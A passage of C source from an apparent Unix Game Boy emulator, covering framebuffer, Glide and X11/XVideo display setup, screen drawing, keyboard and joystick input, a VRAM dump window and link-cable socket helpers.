BLUEOFS =fb_vinfo.blue.offset;
REDSHL =fb_vinfo.red.length-5;
GREENSHL=fb_vinfo.green.length-5;
BLUESHL =fb_vinfo.blue.length-5;
/* init terminal settings */
fprintf(OUTSTREAM,"Setting up terminal ... ");
tcgetattr(0,&termsave);
memcpy(&term,&termsave,sizeof(struct termios));
cfmakeraw(&term);
term.c_iflag|=BRKINT;
term.c_lflag|=ISIG;
tcsetattr(0,TCSANOW,&term);
out_ok;
/* tty init */
fprintf(OUTSTREAM,"Setting up tty device ... ");
if ((tty=open("/dev/tty",O_RDWR))<0) {
fprintf(OUTSTREAM,"Error opening tty device.\n");
return 1;
}
if (ioctl(tty,VT_GETMODE,&vt_modesave)<0) {
fprintf(OUTSTREAM,"Error writing to tty device.\n");
return 1;
}
memcpy(&vtm,&vt_modesave,sizeof(struct vt_mode));
now.sa_handler = tty_switchhandler;
now.sa_flags = 0;
now.sa_restorer = NULL;
sigemptyset(&now.sa_mask);
sigaction(SIGUSR1,&now,&old);
sigaction(SIGUSR2,&now,&old);
vtm.mode = VT_PROCESS;
vtm.waitv = 0;
vtm.relsig = SIGUSR1;
vtm.acqsig = SIGUSR2;
if (ioctl(tty,VT_SETMODE,&vtm)<0) {
fprintf(OUTSTREAM,"Error writing to tty device.\n");
return 1;
}
ttystate=1;
out_ok;
return 0;
}
void DoneFB(void)
{
/* clean up */
ioctl(tty,VT_SETMODE,&vt_modesave);
close(tty);
tcsetattr(0,TCSANOW,&termsave);
FB_ClearScreen();
if (ioctl(fbdev,FBIOPUT_VSCREENINFO,&fb_vinfo_orig)<0) {
fprintf(stderr,"Error: FBIOPUT_VSCREENINFO. (restoring state)\n");
}
if (munmap(fbmem,fb_finfo.smem_len)) {
fprintf(stderr,"Error: munmap failed.\n");
}
close(fbdev);
#ifdef VERBOSE
fprintf(OUTSTREAM,"Framebuffer device closed.\n");
#endif
fclose(logfile);
logfile=stdout;
}
#endif
void allocate_lcdbuffer(void) {
lcdbuffersize=doublesize ?
GB_XBUFFERSIZE*GB_LCDYSCREENSIZE*(bitmapbits/2) :
GB_XBUFFERSIZE*GB_LCDYSCREENSIZE*(bitmapbits/8);
fprintf(OUTSTREAM,"Allocating lcd buffer (%lu bytes%s)... ",
(size_t)lcdbuffersize, doublesize ? "; double-size" : "");
lcdbuffer=malloc(lcdbuffersize);
if (lcdbuffer==NULL) out_failed; else out_ok;
}
#ifdef GLIDE
/* **************************************** */
int initGlide(void)
{
GrHwConfiguration hwconfig;
struct termios term;
/* init terminal settings */
fprintf(OUTSTREAM,"Setting up terminal ... ");
tcgetattr(0,&termsave);
memcpy(&term,&termsave,sizeof(struct termios));
cfmakeraw(&term);
term.c_iflag|=BRKINT;
term.c_lflag|=ISIG;
tcsetattr(0,TCSANOW,&term);
out_ok;
fprintf(OUTSTREAM,"Initializing glide ... ");
grGlideInit();
fprintf(OUTSTREAM,"ok\nSearching glide hardware ...\n");
if (grSstQueryHardware(&hwconfig)==FXTRUE) {
grSstSelect(0);
if (grSstWinOpen(0,GR_RESOLUTION_640x480,GR_REFRESH_NONE,
GR_COLORFORMAT_ARGB,GR_ORIGIN_UPPER_LEFT,2,1)!=FXTRUE) {
fprintf(OUTSTREAM,
"*** Error: Failed to set the standard 640x480 mode.\n");
return 1;
}
} else {
fprintf(OUTSTREAM,"*** Error: glide hardware not found.\n");
return 1;
}
grColorCombine( GR_COMBINE_FUNCTION_LOCAL,
GR_COMBINE_FACTOR_NONE,
GR_COMBINE_LOCAL_CONSTANT,
GR_COMBINE_OTHER_NONE,
FXFALSE );
grBufferClear(0,0,0);
grBufferSwap(0);
grBufferClear(0,0,0);
grDisableAllEffects();
/* fixed sst1 format (there aren't others defined) */
bitmapbits=resolution=16;
REDSHL=BLUESHL=0;
GREENSHL=1;
REDOFS=11;
GREENOFS=5;
BLUEOFS=0;
out_ok;
allocate_lcdbuffer();
return 0;
}
void doneGlide(void)
{
grGlideShutdown();
tcsetattr(0,TCSANOW,&termsave);
}
#else
int InitXConnection(void)
{
XVisualInfo visualinfo;
XVisualInfo *retvinfo;
char *displayname=NULL;
int i,v;
#ifdef MIT_SHM
int major,minor;
Bool shared;
#endif
#ifdef WITH_XVIDEO
unsigned int xv_ver, xv_rel, xv_reqbase, xv_eventbase, xv_errbase,
adaptorcount;
XvAdaptorInfo *adaptorinfo = NULL;
#endif
display=XOpenDisplay(displayname);
if (display==NULL)
{
#if defined(FRAMEBUFFER) && !defined(DEBUG)
return InitFB();
#else
fprintf(stderr,"Cannot connect to X-Server.\n");
return 1;
#endif
}
#ifdef WITH_XVIDEO
if (check_xvideo) {
fprintf(OUTSTREAM, "Checking for XVideo extension ... ");
use_xvideo=(XvQueryExtension(display, &xv_ver, &xv_rel,
&xv_reqbase, &xv_eventbase, &xv_errbase)==Success);
if (!use_xvideo) out_failed;
else {
out_ok;
fprintf(OUTSTREAM, "Fetching XVideo adapters ... ");
if (XvQueryAdaptors(display,DefaultRootWindow(display),
&adaptorcount,&adaptorinfo)!=Success){
use_xvideo=0;
out_failed;
} else out_ok;
}
} else {
use_xvideo=0;
}
if (use_xvideo) {
int i;
int inuse=0;
xv_port=0;
fprintf(OUTSTREAM, "Opening XVideo port (adapters: %d) ... ",
adaptorcount);
for (i=0; i<adaptorcount && xv_port==0; i++) {
if ((adaptorinfo[i].type&XvInputMask) &&
(adaptorinfo[i].type&XvImageMask)) {
XvPortID id;
for (id=adaptorinfo[i].base_id;
id<adaptorinfo[i].base_id+
adaptorinfo[i].num_ports; id++)
if (XvGrabPort(display, id,
CurrentTime)==Success) {
xv_port = id;
break;
} inuse=1;
}
}
if (xv_port==0) {
if (inuse) fprintf(OUTSTREAM, "all ports in use ");
out_failed;
use_xvideo=0;
} else {
int i;
int formats=0;
XvImageFormatValues *fo;
fo = XvListImageFormats(display, xv_port, (int*)&formats);
xv_format=0;
for(i=0; i<formats; i++){
fprintf(OUTSTREAM, "Available XVideo image format: 0x%x (%4.4s) %s\n", fo[i].id,(char*)&fo[i].id, (fo[i].format == XvPacked) ? "packed" : "planar");
if (xv_format==0 &&
(fo[i].id==0x59565955|| fo[i].id==0x55595659)) {
xv_format = fo[i].id;
fprintf(OUTSTREAM, "y:%d, u:%d, v:%d (bits/pixel:%d)\n",
fo[i].y_sample_bits,
fo[i].u_sample_bits,
fo[i].v_sample_bits, fo[i].bits_per_pixel);
}
}
fprintf(OUTSTREAM, "Selecting XVideo output format ... ");
if (xv_format==0) {
XvUngrabPort(display, xv_port, CurrentTime);
use_xvideo=0;
out_failed;
} else out_ok;
}
}
#endif
#ifdef MIT_SHM
use_xshm=XShmQueryVersion (display, &major, &minor, &shared) && shared;
#endif
#ifdef FRAMEBUFFER
usingfb=0;
#endif
if (!smallview) doublesize=1;
screen=DefaultScreen(display);
visual=DefaultVisual(display, screen);
visualinfo.visualid=visual->visualid;
retvinfo=XGetVisualInfo(display, VisualIDMask, &visualinfo, &i);
if (retvinfo==NULL) {
fprintf(stderr, "Error getting VisualInfo for visual id %u.\n",
(unsigned int)visual->visualid);
exit(-1);
}
memcpy(&visualinfo, retvinfo, sizeof(XVisualInfo));
XFree(retvinfo);
bitmapbits=BitmapUnit(display);
if (use_xvideo) {
bitmapbits=32;
fprintf(OUTSTREAM,"Screen bitmap bits is %i, resolution is %i bits (YUV).\n", bitmapbits, resolution);
} else {
resolution = visualinfo.depth;
fprintf(OUTSTREAM,"Screen bitmap bits is %i, resolution is %i bits.\n", bitmapbits, resolution);
}
if (bitmapbits==8) {
/* create a palette with 6 shades for every color
this will be slower (multiplication) but it
looks far better than 4 shades. */
colormap=XCreateColormap(display, RootWindow(display,screen),
visual,AllocAll);
colors=(XColor *)calloc(256,sizeof(XColor));
for (i=0;i<256;i++)
{
colors[i].pixel=i;
colors[i].flags=DoRed|DoGreen|DoBlue;
if (i<216)
{
v=(i / 36) % 6;
colors[i].red=v*13107;
v=(i / 6) % 6;
colors[i].green=v*13107;
v=i % 6;
colors[i].blue=v*13107;
}
}
XStoreColors(display,colormap,colors,256);
} else {
REDOFS=BLUEOFS=GREENOFS=0;
REDSHL=BLUESHL=GREENSHL=0;
for (i=visualinfo.red_mask;!(i&1);i>>=1,REDOFS++);
for (;i&1;i>>=1,REDSHL++);
for (i=visualinfo.green_mask;!(i&1);i>>=1,GREENOFS++);
for (;i&1;i>>=1,GREENSHL++);
for (i=visualinfo.blue_mask;!(i&1);i>>=1,BLUEOFS++);
for (;i&1;i>>=1,BLUESHL++);
REDSHL-=5;GREENSHL-=5;BLUESHL-=5;
}
return 0;
}
#endif
/* signal hookfunc */
void DoBreak(int signum)
{
if (!ABORT_EMULATION) {
ABORT_EMULATION=1;
savestate();
tidyup();
exit(0);
}
}
#ifdef MIT_SHM
int xerrorhandler (Display *display, XErrorEvent *event) {
use_xshm=0;
return 0;
}
#endif
#ifndef GLIDE
int InitXRessources(void)
{
XSetWindowAttributes gbwinattr;
XTextProperty prop_gbwintitle;
XGCValues values;
#ifdef MIT_SHM
XErrorHandler old_handler;
#endif
fprintf(OUTSTREAM,"Window initialization ... ");
gbwinattr.event_mask=StructureNotifyMask|ExposureMask|KeyPressMask|
KeyReleaseMask;
gbwinattr.colormap=colormap;
gbwinattr.border_pixel=0;
gbwin=XCreateWindow(display,
RootWindow(display,screen),
100,50,
smallview ? GB_LCDXSCREENSIZE : GB_LCDXSCREENSIZE*2,
smallview ? GB_LCDYSCREENSIZE : GB_LCDYSCREENSIZE*2,
0,resolution,
InputOutput,
visual,
CWEventMask|
CWColormap|
CWBorderPixel,
&gbwinattr);
if (!gbwin) {
out_failed;
return 1;
} else out_ok;
values.background=0;
gbgc=XCreateGC(display,gbwin,GCBackground,&values);
XStringListToTextProperty(&gbwintitle,1,&prop_gbwintitle);
XSetWMName(display,gbwin,&prop_gbwintitle);
/*XSelectInput(display,gbwin,ExposureMask|KeyPressMask|KeyReleaseMask);*/
XMapRaised(display,gbwin);
XFlush(display);
dsupdatenow=0;
fprintf(OUTSTREAM,"Display initialized.\nCreating display image buffer ... ");
#ifdef MIT_SHM
tryagain:
if (use_xshm) {
#ifdef WITH_XVIDEO
if (use_xvideo) {
fprintf(OUTSTREAM,"(xv+shared) ");
xv_gameboyscreen=(XvImage *)XvShmCreateImage(display,
xv_port, xv_format, lcdbuffer,
GB_XBUFFERSIZE*2, GB_LCDYSCREENSIZE, &shminfo);
if (xv_gameboyscreen==NULL) {
fprintf(OUTSTREAM,"screen allocation failed for XVideo"
" trying X11\n Creating image buffer ... ");
use_xvideo=0;
goto tryagain;
}
}
else
#endif
{
fprintf(OUTSTREAM,"(shared) ");
gameboyscreen=XShmCreateImage(display,visual,resolution,
ZPixmap,NULL,&shminfo,
smallview ? GB_XBUFFERSIZE : GB_XBUFFERSIZE*2,
smallview ? GB_LCDYSCREENSIZE : GB_LCDYSCREENSIZE*2);
}
if (gameboyscreen==NULL) {
use_xshm=0;
out_failed;
fprintf(OUTSTREAM,"Trying normal mode ...\n");
goto tryagain;
}
shminfo.shmid=shmget(IPC_PRIVATE,gameboyscreen->bytes_per_line*
gameboyscreen->height,
IPC_CREAT|0777);
if (shminfo.shmid<0) {
out_failed;
fprintf(OUTSTREAM,"Trying normal mode ...\n");
XDestroyImage(gameboyscreen);
use_xshm=0;
goto tryagain;
}
lcdbuffer=shminfo.shmaddr=gameboyscreen->data=shmat(shminfo.shmid,0,0);
if (!lcdbuffer) {
out_failed;
fprintf(OUTSTREAM,"Trying normal mode ...\n");
XDestroyImage(gameboyscreen);
shmctl(shminfo.shmid,IPC_RMID,0);
use_xshm=0;
goto tryagain;
}
shminfo.readOnly=False;
old_handler=XSetErrorHandler(xerrorhandler);
XShmAttach(display,&shminfo);
XSync(display,False);
XShmPutImage(display,gbwin,gbgc,gameboyscreen,8,0,0,0,
1,1,0);
XSync(display,False);
XSetErrorHandler (old_handler);
if (!use_xshm) {
out_failed;
fprintf(OUTSTREAM,"Trying normal mode ...\n");
XDestroyImage(gameboyscreen);
shmdt(shminfo.shmaddr);
shmctl(shminfo.shmid,IPC_RMID,0);
goto tryagain;
} else fprintf(OUTSTREAM,"shared OK\n");
} else {
#endif
allocate_lcdbuffer();
gameboyscreen=NULL;
#ifdef WITH_XVIDEO
xv_gameboyscreen=NULL;
if (use_xvideo) {
fprintf(OUTSTREAM,"(xv) ");
xv_gameboyscreen=(XvImage *)XvCreateImage(display,
xv_port, xv_format, lcdbuffer,
GB_XBUFFERSIZE*2, GB_LCDYSCREENSIZE);
if (xv_gameboyscreen==NULL) {
fprintf(OUTSTREAM,"screen allocation failed for XVideo"
" trying X11\n Creating image buffer ... ");
use_xvideo=0;
free(lcdbuffer);
goto tryagain;
}
} else
#endif
{
fprintf(OUTSTREAM,"(x11) ");
gameboyscreen=XCreateImage(display,visual,resolution,ZPixmap,
0, lcdbuffer,
smallview ? GB_XBUFFERSIZE : GB_XBUFFERSIZE*2,
smallview ? GB_LCDYSCREENSIZE : GB_LCDYSCREENSIZE*2,
bitmapbits,0);
}
#ifdef MIT_SHM
}
#endif
fprintf(OUTSTREAM,"Preparing image ... ");
if (!use_xvideo) {
fprintf(OUTSTREAM,"X11 ... ");
if (gameboyscreen) out_ok; else {
out_failed;
return 1;
}
} else {
fprintf(OUTSTREAM,"XVideo (using %d bytes) ... ",
xv_gameboyscreen->data_size);
if (!xv_gameboyscreen) {
out_failed;
return 1;
}
if (xv_gameboyscreen->data_size>lcdbuffersize) {
out_failed;
return 1;
}
doublesize=0;
smallview=1;
out_ok;
}
#ifndef DEBUG
XAutoRepeatOff(display);
#endif
return 0;
}
#endif
int initsys(void)
{
int retval;
#ifdef JOYSTICK
int status;
struct JS_DATA_SAVE_TYPE_32 jsd;
#endif
doublesize=0;
#if defined(GLIDE) && !defined(DEBUG)
retval=initGlide();
#else
if ((retval=InitXConnection())!=0) return 1;
if (!retval
#ifdef FRAMEBUFFER
&& !usingfb
#endif
) retval=InitXRessources();
#endif
#ifdef MIT_SHM
if (use_xshm)
#endif
fprintf(OUTSTREAM,"Buffer allocation ... ");
if (lcdbuffer==NULL) {
out_failed;
retval=1;
} else out_ok;
/* B/W palette initialisation */
GB_STDPAL[0]=color_translate(0x7FFF);
GB_STDPAL[1]=color_translate(0x56B5);
GB_STDPAL[2]=color_translate(0x2D6B);
GB_STDPAL[3]=color_translate(0x0000);
usejoypad=0;
#if defined JOYSTICK || defined BSD_JOYSTICK
fprintf(OUTSTREAM,"Opening joypad device ... ");
joypaddev=open(joy_device,O_RDONLY);
if (joypaddev<0) {
out_failed;
} else {
out_ok;
#ifdef JOYSTICK
fprintf(OUTSTREAM,"Reading joystick info ... ");
status=ioctl(joypaddev,JS_GET_ALL,&jsd);
if (status<0) {
out_failed;
close(joypaddev);
} else {
out_ok;
usejoypad=1;
}
#endif
#ifdef BSD_JOYSTICK
usejoypad=1;
#endif
}
#endif
#ifdef GLIDE
if (!usejoypad) {
doneGlide();
return 1;
}
#endif
signal(SIGHUP,DoBreak);signal(SIGINT,DoBreak);
signal(SIGQUIT,DoBreak);signal(SIGTERM,DoBreak);
signal(SIGPIPE,DoBreak);
#ifdef __SVR4
sigset(SIGALRM,timerhandler);
#else
signal(SIGALRM,timerhandler);
#endif
itv.it_value.tv_usec=20000;
itv.it_value.tv_sec=0;
itv.it_interval.tv_usec=20000;
itv.it_interval.tv_sec=0;
timerset=setitimer(ITIMER_REAL,&itv,NULL);
refreshtimer=0;
if (timerset<0) {
fprintf(OUTSTREAM,"setitimer() failed./n");
fprintf(OUTSTREAM,"no real-time emulation will be available.\n");
}
#ifdef SOUND
if (producesound) {
fprintf(OUTSTREAM,"Initialize sound emulation ... \n");
usingsound=initsound();
fprintf(OUTSTREAM,"Sound %s\n",usingsound ? "OK" : "FAILED");
}
#endif
#ifdef DIALOGLINK
if (dialoglink)
dlglink_status=dlglink_init();
#endif
return retval;
}
#ifndef GLIDE
void DoneXConnection(void)
{
#ifndef DEBUG
XAutoRepeatOn(display);
#endif
#ifdef WITH_XVIDEO
fprintf(OUTSTREAM, "Freeing XVideo ressources ... ");
if (use_xvideo && xv_port) {
XvUngrabPort(display, xv_port, CurrentTime);
}
#endif
#ifdef VERBOSE
fprintf(OUTSTREAM,"Destroying window and freeing memory ... ");
#endif
#ifdef MIT_SHM
if (use_xshm) {
XShmDetach(display,&shminfo);
}
#endif
#ifdef WITH_XVIDEO
if (!use_xvideo)
#endif
XDestroyImage(gameboyscreen);
#ifdef MIT_SHM
if (use_xshm) {
shmdt(shminfo.shmaddr);
shmctl(shminfo.shmid,IPC_RMID,0);
}
#endif
XUnmapWindow(display,gbwin);
XDestroyWindow(display,gbwin);
XFreeGC(display,gbgc);
if (bitmapbits==8) {
XFreeColormap(display,colormap);
free(colors);
}
#ifdef VERBOSE
out_ok;
#endif
#ifdef VERBOSE
fprintf(OUTSTREAM,"Shutting down X-connection ... ");fflush(stdout);
#endif
XCloseDisplay(display);
#ifdef VERBOSE
out_ok;
#endif
}
#endif
void donesys(void)
{
#ifdef DIALOGLINK
switch (dlglink_status) {
case 1:
close(sock_nd);
close(sock_d);
break;
case 2:
close(sock_d);
break;
}
#endif
#ifdef SOUND
if (producesound) {
fprintf(OUTSTREAM,"Closing sound.\n");
donesound();
}
#endif
#if defined JOYSTICK || defined BSD_JOYSTICK
#ifdef VERBOSE
fprintf(OUTSTREAM,"Closing joypad device ... ");
#endif
if (joypaddev>0) close(joypaddev);
out_ok;
#endif
#ifdef GLIDE
doneGlide();
#else
#ifdef FRAMEBUFFER
if (!usingfb)
#endif
DoneXConnection();
#ifdef FRAMEBUFFER
else DoneFB();
#endif
#endif
}
unsigned int color_translate(unsigned short int gbcol)
{
/* hope, it works now for every type of visual */
if (!use_xvideo) {
if (bitmapbits>8)
return (((gbcol&0x1F)<<REDSHL)<<REDOFS)|
((((gbcol>>5)&0x1F)<<GREENSHL)<<GREENOFS)|
((((gbcol>>10)&0x1F)<<BLUESHL)<<BLUEOFS);
else
return ((gbcol&0x1F)/6)*36+(((gbcol>>5)&0x1F)/6)*6+
((gbcol>>10)&0x1F)/6;
} else {
int r;
int g;
int b;
int y, u, v;
r=(gbcol&0x1F)<<3;
g=((gbcol>>5)&0x1F)<<3;
b=((gbcol>>10)&0x1F)<<3;
y = (((66*r+129*g+25*b)>>8)+16)&0xff;
u = (((-38*r-74*g+112*b)>>8)+128);
v = (((112*r-94*g-18*b)>>8)+128);
/*fprintf(stderr, "r: %d, g: %d, b: %d\n", r, g, b);
fprintf(stderr, "y: %d, u: %d, v: %d\n", y, u, v);*/
return (y<<24)|(y<<8)|u|(v<<16);
/* return (v<<24)|(y<<16)|(u<<8)|y; */
}
}
void drawscreen(void)
{
#ifndef GLIDE
#ifdef FRAMEBUFFER
int y;
char *lcdpos,*buffer;
register int x,v;
char *buffer2;
#endif
if (doublesize
#ifdef MIT_SHM
&& !use_xshm
#endif
) {
if (dsupdatenow++==0) return;
if (dsupdatenow>2) dsupdatenow=0;
}
if (smallview) {
#ifdef FRAMEBUFFER
if (usingfb) {
if (ttystate) {
for (y=0,buffer=fbgb,lcdpos=lcdbuffer+resolution;
y<GB_LCDYSCREENSIZE;y++,buffer+=fb_finfo.line_length,
lcdpos+=GB_XBUFFERSIZE*resolution/8) {
memcpy(buffer,lcdpos,fbgb_linesize);
}
}
} else
#endif
#ifdef MIT_SHM
if (use_xshm) {
#ifdef WITH_XVIDEO
if (use_xvideo)
XvShmPutImage(display, xv_port, gbwin, gbgc,
xv_gameboyscreen, 16, 0,
GB_LCDXSCREENSIZE*2, GB_LCDYSCREENSIZE,
0,0,
win_width, win_height,
False);
else
#endif
XShmPutImage(display,gbwin,gbgc,gameboyscreen,8,0,0,0,
GB_LCDXSCREENSIZE,GB_LCDYSCREENSIZE,0);
} else
#endif
#ifdef WITH_XVIDEO
if (use_xvideo) {
XvPutImage(display, xv_port, gbwin, gbgc,
xv_gameboyscreen, 16, 0,
GB_LCDXSCREENSIZE*2, GB_LCDYSCREENSIZE,
0,0,
win_width, win_height);
} else
#endif
XPutImage(display,gbwin,gbgc,gameboyscreen,8,0,0,0,
GB_LCDXSCREENSIZE,GB_LCDYSCREENSIZE);
} else {
#ifdef FRAMEBUFFER
if (usingfb) {
if (ttystate) {
for (y=0,buffer=fbgb,buffer2=fbgb+fb_finfo.line_length,
lcdpos=lcdbuffer+resolution;
y<GB_LCDYSCREENSIZE;y++,buffer+=fb_finfo.line_length<<1,
buffer2+=fb_finfo.line_length<<1,
lcdpos+=GB_XBUFFERSIZE*resolution/8) {
switch (resolution) {
case 8:
for (x=0;x<GB_LCDXSCREENSIZE;x++) {
v=((unsigned char *)lcdpos)[x];v|=v<<8;
((unsigned short int *)buffer)[x]=v;
((unsigned short int *)buffer2)[x]=v;
}
break;
case 16:
for (x=0;x<GB_LCDXSCREENSIZE;x++) {
v=((unsigned short int *)lcdpos)[x];v|=v<<16;
((unsigned int *)buffer)[x]=v;
((unsigned int *)buffer2)[x]=v;
}
break;
case 32:
for (x=0;x<(GB_LCDXSCREENSIZE<<1);x+=2) {
v=((unsigned int *)lcdpos)[x>>1];
((unsigned int *)buffer)[x]=v;
((unsigned int *)buffer)[x+1]=v;
((unsigned int *)buffer2)[x]=v;
((unsigned int *)buffer2)[x+1]=v;
}
break;
}
}
}
} else
#endif
#ifdef MIT_SHM
if (use_xshm) {
XShmPutImage(display,gbwin,gbgc,gameboyscreen,16,0,0,0,
GB_LCDXSCREENSIZE*2,GB_LCDYSCREENSIZE*2,
0);
} else
#endif
XPutImage(display,gbwin,gbgc,gameboyscreen,16,0,0,0,
GB_LCDXSCREENSIZE*2,GB_LCDYSCREENSIZE*2);
}
#ifdef FRAMEBUFFER
if (!usingfb)
#endif
/* XFlush(display);*/
#else
/* Glide version of drawscreen *********************************** */
GrLfbInfo_t info;
unsigned short int *buffer,*buffer2,*lcdpos;
register int x,y;
register unsigned int v;
if (!grLfbLock(GR_LFB_WRITE_ONLY,GR_BUFFER_BACKBUFFER,
GR_LFBWRITEMODE_565,GR_ORIGIN_UPPER_LEFT,
FXFALSE,&info)) {
grGlideShutdown();
printf("Lock failed.\n");
ABORT_EMULATION=1;
return;
}
buffer=info.lfbPtr+((240-GB_LCDYSCREENSIZE)*info.strideInBytes)+
320-(GB_LCDXSCREENSIZE>>1);
buffer2=buffer+(info.strideInBytes>>1);
for (y=0,lcdpos=(unsigned short int *)(lcdbuffer+resolution);
y<GB_LCDYSCREENSIZE;y++,
buffer+=info.strideInBytes,buffer2+=info.strideInBytes,
lcdpos+=GB_XBUFFERSIZE) {
for (x=0;x<GB_LCDXSCREENSIZE;x++) {
v=lcdpos[x];v|=v<<16;
((unsigned int *)buffer)[x]=v;
((unsigned int *)buffer2)[x]=v;
}
}
grLfbUnlock(GR_LFB_WRITE_ONLY,GR_BUFFER_BACKBUFFER);
grBufferSwap(1);
#endif
if (usingsound) return;
if (timerset>=0) {
while (refreshtimer<1); /* sync loop */
} else {
while (refreshtimer<3); /* sync loop */
}
refreshtimer=0;
}
void joypad(void)
{
#if defined JOYSTICK || defined BSD_JOYSTICK
int status;
#endif
#if defined(FRAMEBUFFER) || defined (GLIDE)
int retval;
fd_set rfds;
struct timeval tv;
#endif
#ifndef GLIDE
XEvent E;
#ifdef FRAMEBUFFER
if (!usingfb) {
#endif
while (XCheckWindowEvent(display,gbwin,KeyPressMask,&E)) {
usekeys=1;
switch(XLookupKeysym((XKeyEvent *)&E,0)) {
case GBPAD_up:
newjoypadstate&=0xBF;
break;
case GBPAD_down:
newjoypadstate&=0x7F;
break;
case GBPAD_left:
newjoypadstate&=0xDF;
break;
case GBPAD_right:
newjoypadstate&=0xEF;
break;
case GBPAD_a:
newjoypadstate&=0xFE;
break;
case GBPAD_b:
newjoypadstate&=0xFD;
break;
case GBPAD_start:
newjoypadstate&=0xF7;
break;
case GBPAD_select:
newjoypadstate&=0xFB;
break;
case XK_Escape:
case XK_q:
usekeys=0;
DoBreak(0);
break;
case XK_Return:
ar_enabled=ar_enabled ? 0 : 1;
break;
#ifdef DEBUG
case XK_b:
breakpoint=-1;
skipover=0;
usekeys=0;
break;
case XK_t:
db_trace=db_trace ? 0 : 1;
usekeys=0;
break;
#endif
}
}
while (XCheckWindowEvent(display,gbwin,KeyReleaseMask,&E)) {
switch(XLookupKeysym((XKeyEvent *)&E,0)) {
case GBPAD_up:
newjoypadstate|=0x40;
break;
case GBPAD_down:
newjoypadstate|=0x80;
break;
case GBPAD_left:
newjoypadstate|=0x20;
break;
case GBPAD_right:
newjoypadstate|=0x10;
break;
case GBPAD_a:
newjoypadstate|=0x01;
break;
case GBPAD_b:
newjoypadstate|=0x02;
break;
case GBPAD_start:
newjoypadstate|=0x08;
break;
case GBPAD_select:
newjoypadstate|=0x04;
break;
}
if (newjoypadstate==0xFF) usekeys=0;
}
while (XCheckWindowEvent(display, gbwin, StructureNotifyMask, &E)) {
if (E.type==ConfigureNotify) {
win_width=E.xconfigure.width;
win_height=E.xconfigure.height;
}
}
#ifdef FRAMEBUFFER
}
#endif
#endif
#if defined(FRAMEBUFFER) || defined(GLIDE)
#ifdef FRAMEBUFFER
if (usingfb) {
#endif
FD_ZERO(&rfds);
FD_SET(0,&rfds);
tv.tv_sec=0;tv.tv_usec=0;
retval=select(1,&rfds,NULL,NULL,&tv);
if (retval) {
read(0,&retval,1);
/*
printf("Pressed: %i\n",retval&0xFF);
*/
switch (retval&0xFF) {
case 27:
FD_ZERO(&rfds);
FD_SET(0,&rfds);
tv.tv_sec=0;tv.tv_usec=0;
retval=select(1,&rfds,NULL,NULL,&tv);
if (retval) {
read(0,&retval,1);
read(0,&retval,1);
switch (retval&0xFF) {
/* case 65:printf("up\n");break;
case 66:printf("down\n");break;
case 67:printf("right\n");break;
case 68:printf("left\n");break;*/
}
} else DoBreak(0);
break;
case 113:
DoBreak(0);
break;
case 13:
ar_enabled=ar_enabled ? 0 : 1;
break;
}
}
#ifdef FRAMEBUFFER
}
#endif
#endif
#if defined JOYSTICK || defined BSD_JOYSTICK
if (usejoypad && (!usekeys)) {
#ifdef JOYSTICK
status=read(joypaddev,&js,JS_RETURN);
if (status==JS_RETURN) {
newjoypadstate=
(js.x<joy_left ? 0 : 0x20)|
(js.x>joy_right ? 0 : 0x10)|
(js.y<joy_top ? 0 : 0x40)|
(js.y>joy_bottom ? 0 : 0x80)|
(js.buttons & joy_buttonA ? 0 : 0x01)|
(js.buttons & joy_buttonB ? 0 : 0x02)|
(js.buttons & joy_buttonSTART ? 0 : 0x08)|
(js.buttons & joy_buttonSELECT ? 0 : 0x04);
}
#else
status=read(joypaddev,&js,sizeof(struct joystick));
if (status==sizeof(struct joystick)) {
int buttons;
buttons=(js.b1&0xFF)|((js.b2&0xFF)<<8);
newjoypadstate=
(js.x<joy_left ? 0 : 0x20)|
(js.x>joy_right ? 0 : 0x10)|
(js.y<joy_top ? 0 : 0x40)|
(js.y>joy_bottom ? 0 : 0x80)|
(buttons & joy_buttonA ? 0 : 0x01)|
(buttons & joy_buttonB ? 0 : 0x02)|
(buttons & joy_buttonSTART ? 0 : 0x08)|
(buttons & joy_buttonSELECT ? 0 : 0x04);
}
#endif
}
#endif
}
#ifndef GLIDE
void vramdump(tilescreen,dataofs)
int tilescreen;
int dataofs;
{
char *dumpwintitle="VRAM dump";
Window dumpwin;
XSetWindowAttributes gbwinattr;
XTextProperty prop_wintitle;
XEvent E;
int x,y,xx,yy;
GC gc;
XGCValues gcval;
uchar *tileofs,*tile,*tdofs;
uchar scan1,scan2;
#ifdef FRAMEBUFFER
if (usingfb) return;
#endif
gbwinattr.event_mask=ExposureMask|KeyPressMask;
gbwinattr.colormap=colormap;
gbwinattr.border_pixel=0;
dumpwin=XCreateWindow(display,
RootWindow(display,screen),
300,50,256,256,
0,resolution,
InputOutput,
visual,
CWEventMask|
CWColormap|
CWBorderPixel,
&gbwinattr);
if (!dumpwin) return;
XStringListToTextProperty(&dumpwintitle,1,&prop_wintitle);
XSetWMName(display,dumpwin,&prop_wintitle);
XSelectInput(display,dumpwin,ExposureMask|KeyPressMask);
XMapRaised(display,dumpwin);
XWindowEvent(display,dumpwin,ExposureMask,&E);
gcval.background=0;
gc=XCreateGC(display,dumpwin,GCBackground,&gcval);
tileofs=vram[0]+0x1800+(tilescreen ? 0x400 : 0);
tdofs=vram[0]+(dataofs ? 0x0000 : 0x1000);
for (y=0;y<32;y++)
for (x=0;x<32;x++) {
tile=tdofs+(dataofs ? (int)tileofs[y*32+x]*16 :
(int)((signed char)tileofs[y*32+x])*16);
for (yy=0;yy<8;yy++) {
scan1=(tile+yy*2)[0];
scan2=(tile+yy*2)[1];
for (xx=0;xx<8;xx++) {
gcval.foreground=GB_STDPAL[3-(
(BGP>>
((3-(((scan1>>(7-xx))&1)|(((scan2>>(7-xx))&1)<<1)))*2))&3)
];
XChangeGC(display,gc,GCForeground,&gcval);
XDrawLine(display,dumpwin,gc,x*8+xx,y*8+yy,
x*8+xx,y*8+yy);
}
}
}
XFreeGC(display,gc);
while (1) {
XNextEvent(display,&E);
if (E.type==KeyPress) break;
}
fprintf(OUTSTREAM,"exited.\n");
XDestroyWindow(display,dumpwin);
}
#endif
#ifdef DIALOGLINK
int dlglink_getbyte(void)
{
int c=0;
fd_set fds;
struct timeval tv;
FD_ZERO(&fds);
FD_SET(sock_desc,&fds);
tv.tv_sec=0;tv.tv_usec=0;
c=select(16,&fds,NULL,NULL,&tv);
if (c<=0) return -1;
if (recv(sock_desc,&c,1,0)<=0) return -1;
return c;
}
void dlglink_sndbyte(int c)
{
while (send(sock_desc,&c,1,0)<=0);
}
void dlglink_getstr(char *buf,int size)
{
int n,ch;
for (n=0;n<size;n++) {
while ((ch=dlglink_getbyte())<0);
buf[n]=ch;
}
}
